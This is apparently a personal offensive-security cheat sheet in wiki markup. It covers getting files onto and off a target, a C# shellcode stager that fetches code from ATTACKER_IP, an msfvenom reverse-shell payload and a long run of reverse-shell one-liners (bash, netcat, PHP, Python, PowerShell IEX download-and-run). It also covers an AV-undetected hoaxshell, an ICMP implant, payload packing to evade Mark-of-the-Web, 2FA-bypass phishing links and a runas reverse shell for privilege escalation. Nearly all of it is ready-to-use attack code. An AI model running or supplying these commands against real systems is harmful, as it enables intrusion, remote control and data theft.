&lt;br /&gt;
Rejetto is very light weight and works on linux (wine) and Windows to transfer files to a target over http using GUI.&lt;br /&gt;
&lt;br /&gt;
If you have RDP this tool works great.&lt;br /&gt;
&lt;br /&gt;
[https://www.rejetto.com/hfs/ https://www.rejetto.com/hfs/]&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip hfs2.3m][https://blog.aghanim.net/wp-content/uploads/2023/01/hfs2.3m.zip Rejtto HFS zip file]&lt;br /&gt;
&lt;br /&gt;
=== Tiny Http Server - Rebex === &lt;br /&gt;
Simple, minimalist web server for testing and debugging purposes. Runs as a Windows application only.&lt;br /&gt;
&lt;br /&gt;
https://www.rebex.net/tiny-web-server/&lt;br /&gt;
&lt;br /&gt;
==== Transfer from attacker to target ====&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Drag and drop files you want to transfer. Change port by clicking on &#039;Port:&#039; or change IP by going to Menu and &#039;IP Adress&#039;.&lt;br /&gt;
&lt;br /&gt;
On target either open browser or wget, curl, etc&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
wget http://192.168.1.98:443/nmap.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Transfer from target to attacker ====&lt;br /&gt;
&lt;br /&gt;
[https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads https://www.rejetto.com/wiki/index.php/HFS:_Working_with_uploads]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Step-by-step&lt;br /&gt;
## First, define a real folder. To do this:&lt;br /&gt;
# Add a folder.&lt;br /&gt;
## Choose real folder.&lt;br /&gt;
## You should now see a RED folder in your virtual file system, inside HFS.&lt;br /&gt;
## Right click on this folder.&lt;br /&gt;
## Set Upload → upload for accounts → anyone&lt;br /&gt;
## Now anyone who has access to your HFS server can upload files to you.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Anyone can upload&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Click on on the folder &#039;Upload HFS&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-01-image-6.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Now anyone can upload files&lt;br /&gt;
&lt;br /&gt;
=== SCP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From target to attacher&lt;br /&gt;
scp aghanim@192.168.1.242:C:/Users/testuser/Desktop/file .&lt;br /&gt;
# From attacker to target&lt;br /&gt;
scp file.txt aghanim@192.168.1.242:C:/Users/testuser/Desktop/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SMBServer ===&lt;br /&gt;
&lt;br /&gt;
Create a smbserver with share name &amp;quot;share&amp;quot;, and location of folder to share&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
smbserver.py share /home/aghanim/Desktop/&lt;br /&gt;
## If target only supports smbserver2&lt;br /&gt;
smbserver.py share . -smb2support&lt;br /&gt;
## On target CMD&lt;br /&gt;
\\smbserver-ip\share\$FILE_NAME&lt;br /&gt;
## Copy file to target&lt;br /&gt;
copy \\smbserver-ip\share\$FILE_NAME .&lt;br /&gt;
## Copy file from target to attacker&lt;br /&gt;
copy FileToDownload \\smbserver-ip\share\FileToDownload&lt;br /&gt;
## SMBserver with username and password&lt;br /&gt;
/usr/bin/impacket-smbserver share . -smb2support -username test -password 123&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Must use single quote for URL. Worsk for Windows 7 &amp;amp; 2008 and above.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -c (New-Object Net.WebClient).DownloadFile(&#039;http://ip-addr:port/file&#039;, &#039;output-file&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
sudo nc -lnvp 443 &amp;gt; receiving_powercat.ps1&lt;br /&gt;
# Target&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -i C:\Users\aghanim\powercat.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Python ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker&lt;br /&gt;
python3 -m http.server 8080&lt;br /&gt;
python2 -m SimpleHTTPServer 8080&lt;br /&gt;
# Target&lt;br /&gt;
wget http://ip:port/file&lt;br /&gt;
curl http://ip:port/file&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows upload using php and powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker, create a php upload script and host it on apache2 server&lt;br /&gt;
&lt;br /&gt;
# On target, upload files using this command.&lt;br /&gt;
powershell (New-Object System.Net.WebClient).UploadFile(&#039;http://10.11.0.4/upload.php&#039;, &#039;important.docx&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Shellcode and Staged payloads ==&lt;br /&gt;
&lt;br /&gt;
=== csharp stager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/mvelazc0/defcon27_csharp_workshop/blob/master/Labs/lab2/2.cs&lt;br /&gt;
using System;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Configuration.Install;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography.X509Certificates;&lt;br /&gt;
public class Program {&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);&lt;br /&gt;
  //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
  private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
  private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
  private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
  public static void Main()&lt;br /&gt;
  {&lt;br /&gt;
    string url = &amp;quot;https://ATTACKER_IP/shellcode.bin&amp;quot;;&lt;br /&gt;
    Stager(url);&lt;br /&gt;
  }&lt;br /&gt;
  public static void Stager(string url)&lt;br /&gt;
  {&lt;br /&gt;
    WebClient wc = new WebClient();&lt;br /&gt;
    ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };&lt;br /&gt;
    ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;&lt;br /&gt;
    byte[] shellcode = wc.DownloadData(url);&lt;br /&gt;
    UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
    Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);&lt;br /&gt;
    IntPtr threadHandle = IntPtr.Zero;&lt;br /&gt;
    UInt32 threadId = 0;&lt;br /&gt;
    IntPtr parameter = IntPtr.Zero;&lt;br /&gt;
    threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);&lt;br /&gt;
    WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Msfvenom Staged payload ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/shell/reverse_tcp LHOST=ATTACKER_IP LPORT=7474 -f raw -o shellcode.bin -b &#039;\x00\x0a\x0d&#039;&lt;br /&gt;
# -b &#039;\x00\x0a\x0d&#039;: Sets a list of characters to avoid in the generated shellcode. The characters &#039;\x00\x0a\x0d&#039; correspond to null byte, line feed, and carriage return, which are common characters that can cause issues when injecting shellcode into certain parts of memory or when transmitting it over a network.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Bind shells ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -l -p 443 -e cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Reverse shells ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#powershell PayloadAllTheThings]&lt;br /&gt;
&lt;br /&gt;
=== Reverse Shell Generator ===&lt;br /&gt;
&lt;br /&gt;
[https://www.revshells.com/ https://www.revshells.com/]&lt;br /&gt;
&lt;br /&gt;
=== hoaxshell ===&lt;br /&gt;
&lt;br /&gt;
Currently undetected by Microsoft and most AV (12.10.2022)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/t3l3machus/hoaxshell&lt;br /&gt;
──(root💀kali)-[/opt/hoaxshell]&lt;br /&gt;
└─# python3 hoaxshell.py -s 192.168.1.59 -p 4444                                                                                                                                              1 ⨯&lt;br /&gt;
    ┬ ┬ ┌─┐ ┌─┐ ─┐ ┬ ┌─┐ ┬ ┬ ┌─┐ ┬   ┬&lt;br /&gt;
    ├─┤ │ │ ├─┤ ┌┴┬┘ └─┐ ├─┤ ├┤  │   │&lt;br /&gt;
    ┴ ┴ └─┘ ┴ ┴ ┴ └─ └─┘ ┴ ┴ └─┘ ┴─┘ ┴─┘&lt;br /&gt;
                           by t3l3machus&lt;br /&gt;
[Info] Generating reverse shell payload...&lt;br /&gt;
powershell -e JABzAD0AJwAxADkAMgAuADEANg....&lt;br /&gt;
[Info] Type &amp;quot;help&amp;quot; to get a list of the available prompt commands.&lt;br /&gt;
[Info] Http Server started on port 4444.&lt;br /&gt;
[Important] Awaiting payload execution to initiate shell session...&lt;br /&gt;
[Shell] Payload execution verified!&lt;br /&gt;
[Shell] Stabilizing command prompt...&lt;br /&gt;
PS C:\Users\AlaaG &amp;gt; whoami&lt;br /&gt;
laptop-\alaag&lt;br /&gt;
PS C:\Users\AlaaG &amp;gt; systeminfo&lt;br /&gt;
Host Name:                 LAPTOP-&lt;br /&gt;
OS Name:                   Microsoft Windows 11 Home&lt;br /&gt;
OS Version:                10.0.22000 N/A Build 22000&lt;br /&gt;
OS Manufacturer:           Microsoft Corporation&lt;br /&gt;
OS Configuration:          Standalone Workstation&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ICMP Reverse Shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/krabelize/icmpdoor&lt;br /&gt;
# https://cryptsus.com/blog/icmp-reverse-shell.html&lt;br /&gt;
## Python version usage (both Windows and Linux):&lt;br /&gt;
./icmp-cnc.py -i INTERFACE -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor.py -i INTERFACE -d CNC-IP (Implant)&lt;br /&gt;
## Binary Windows version usage version:&lt;br /&gt;
./icmp-cnc.exe -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor.exe -d CNC-IP (Implant)&lt;br /&gt;
## Binary Linux version usage version:&lt;br /&gt;
./icmp-cnc -d VICTIM-IP (Command and Control)&lt;br /&gt;
./icmpdoor -d CNC-IP (Implant)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BASH TCP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
bash -i &amp;gt;&amp;amp; /dev/tcp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
0/dev/tcp/10.0.0.1/4242; sh &amp;amp;196 2&amp;gt;&amp;amp;196&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/10.0.0.1/4242 0&amp;amp;1&lt;br /&gt;
## Don&#039;t forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BASH UDP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Victim:&lt;br /&gt;
sh -i &amp;gt;&amp;amp; /dev/udp/10.0.0.1/4242 0&amp;gt;&amp;amp;1&lt;br /&gt;
Listener:&lt;br /&gt;
nc -u -lvp 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ngrok - Catcha reverse shell from the internet ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness][https://book.ghanim.no/wp-content/uploads/2023/08/How-to-catch-a-Reverse-shell-over-the-Internet-_-by-Siddharth-Johri-_-System-Weakness.pdf Download]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On attacker (term1)&lt;br /&gt;
ngrok tcp 4444&lt;br /&gt;
# On attacker (term2)&lt;br /&gt;
nc -lvp 4444&lt;br /&gt;
# On target, use your reverse shell payload on the ngrok tunnel target&lt;br /&gt;
nc 0.tcp.ngrok.io  -e /bin/sh&lt;br /&gt;
-----&lt;br /&gt;
# Another method if there is a proxy and firewall.&lt;br /&gt;
# Setup free domain. (Custom domain is a paid feature)&lt;br /&gt;
https://dashboard.ngrok.com/cloud-edge/domains&lt;br /&gt;
ngrok http --domain=ngrok-provided-domain.ngrok-free.app&lt;br /&gt;
# On attacker&lt;br /&gt;
nc -lvnp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat Traditional ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc -e /bin/sh 10.0.0.1 4242&lt;br /&gt;
nc -e /bin/bash 10.0.0.1 4242&lt;br /&gt;
nc -c bash 10.0.0.1 4242&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat BusyBox ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.0.0.1 4242 &amp;gt;/tmp/f&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== nc.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nc.exe -e cmd.exe attacker_ip attacker_port&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
php -r &#039;$sock=fsockopen(&amp;quot;10.10.14.17&amp;quot;,4444);$proc=proc_open(&amp;quot;/bin/sh -i&amp;quot;, array(0=&amp;gt;$sock, 1=&amp;gt;$sock, 2=&amp;gt;$sock),$pipes);&#039;&lt;br /&gt;
# Base64 encoded webshell&lt;br /&gt;
&amp;quot;&amp;quot;&lt;br /&gt;
&amp;quot;&amp;amp; /dev/tcp/192.168.49.129/80 0&amp;gt;&amp;amp;1&#039;); ?&amp;gt;&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershells ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -nop -c &amp;quot;$client = New-Object System.Net.Sockets.TCPClient(&#039;10.0.0.1&#039;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2 = $sendback + &#039;PS &#039; + (pwd).Path + &#039;&amp;gt; &#039;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(&amp;quot;10.0.0.1&amp;quot;,4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );$sendback2  = $sendback + &amp;quot;PS &amp;quot; + (pwd).Path + &amp;quot;&amp;gt; &amp;quot;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell IEX (New-Object Net.WebClient).DownloadString(&#039;https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell base64 encoded reverse shell payload ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge &amp;gt; encodedreverseshell.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powercat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
powercat -c 10.11.0.4 -p 443 -e cmd.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import os,pty,socket;s=socket.socket();s.connect((&amp;quot;192.168.49.169&amp;quot;,443));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;quot;sh&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stabilize shell (Interactive shell) ===&lt;br /&gt;
&lt;br /&gt;
==== Linux ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python -c &#039;import pty;pty.spawn(“/bin/bash”)&#039;&lt;br /&gt;
export TERM=xterm&lt;br /&gt;
Background the shell using Ctrl + Z. In our terminal we use stty raw -echo; fg.&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In you have unstable shell in Windows, try to get a new shell using Nishang Invoke-PowershellTcp.ps1&lt;br /&gt;
# 1. Edit Nishang script and add&lt;br /&gt;
Invoke-PowerShellTcp -Reverse -IpAddress  -Port&lt;br /&gt;
# 2. Start a new netcat listener&lt;br /&gt;
# 3. Start simple http.severe where the nishang script is&lt;br /&gt;
# 4. On target. (Make sure powershell is enabled and allowed to use)&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://LOCALIP:LOCALPORT/invoke-powershelltcp.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix TTY in reverse shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In our shell. Remember the rows anc cols&lt;br /&gt;
stty -a&lt;br /&gt;
# On victim shell&lt;br /&gt;
stty rows  cols&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PackMyPayload ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/mgeeky/PackMyPayload mgeeky/PackMyPayload: A PoC that packages payloads into output containers to evade Mark-of-the-Web flag &amp;amp; demonstrate risks associated with container file formats. Supports: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX (github.com)]&lt;br /&gt;
&lt;br /&gt;
Smuggle payloads using various file formats:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;7zip&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;zip&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ISO&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;IMG&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Pack a dir to .iso&lt;br /&gt;
PackMyPayload.py C:\my\dir malicious.iso -v&lt;br /&gt;
# Pack a malicious code to .vhd&lt;br /&gt;
PackMyPayload.py .\evil.lnk .\evil.vhd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Persistence ==&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md]&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Programming ==&lt;br /&gt;
&lt;br /&gt;
=== Control flow - Logic Statement ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Logic Statement&lt;br /&gt;
| Purpose&lt;br /&gt;
|-&lt;br /&gt;
| if/else&lt;br /&gt;
| Executes only if a condition is met, else it will execute a different code block&lt;br /&gt;
|-&lt;br /&gt;
| try/catch&lt;br /&gt;
| Will try to execute a code block and catch it if it fails to handle errors.&lt;br /&gt;
|-&lt;br /&gt;
| switch case&lt;br /&gt;
| A switch will follow similar conditional logic to an if statement but checks several different possible conditions with cases before resolving to a break or default&lt;br /&gt;
|-&lt;br /&gt;
| for/while loop&lt;br /&gt;
| A for loop will execute for a set amount of a condition. A while loop will execute until a condition is no longer met.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Privilege Escalation ==&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
==== Admin Account Credentials ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#Shell_8211_Changing_user_if_you_have_a_shell Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you hve admin credentials or created an account with admin privilege you can use nc.exe to get a privileged reverse shell using runas&lt;br /&gt;
runas /profile /user:Administrator &amp;quot;nc.exe -e cmd 192.168.49.169 443&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method is if the shell is non-interactive is to use a powershell script.&lt;br /&gt;
# Save this on your Kali and start a HTTP.server.&lt;br /&gt;
$password = ConvertTo-SecureString &amp;quot;lab&amp;quot; -AsPlainText -Force&lt;br /&gt;
$credential = New-Object System.Management.Automation.PSCredential (&amp;quot;Administrator&amp;quot;, $password)&lt;br /&gt;
Start-Process -Credential $credential -FilePath &amp;quot;C:\Users\Offsec\Desktop\ProcessHollow.exe&amp;quot;&lt;br /&gt;
# Now on the shell you have, run this command.&lt;br /&gt;
iex(new-object net.webclient).downloadstring(&#039;http://192.168.45.198/test.ps1&#039;)&lt;br /&gt;
# You should now see that the ProcessHollow binary is executing, giving you a shell in the context of administrator.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method again is to RDP to the target if possible and Run As.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AlwaysInstallElevated ====&lt;br /&gt;
&lt;br /&gt;
If these two registers are enabled then users of any privilege can install &#039;&#039;&#039;.msi &#039;&#039;&#039;files as NT AUTHORITY\SYSTEM&lt;br /&gt;
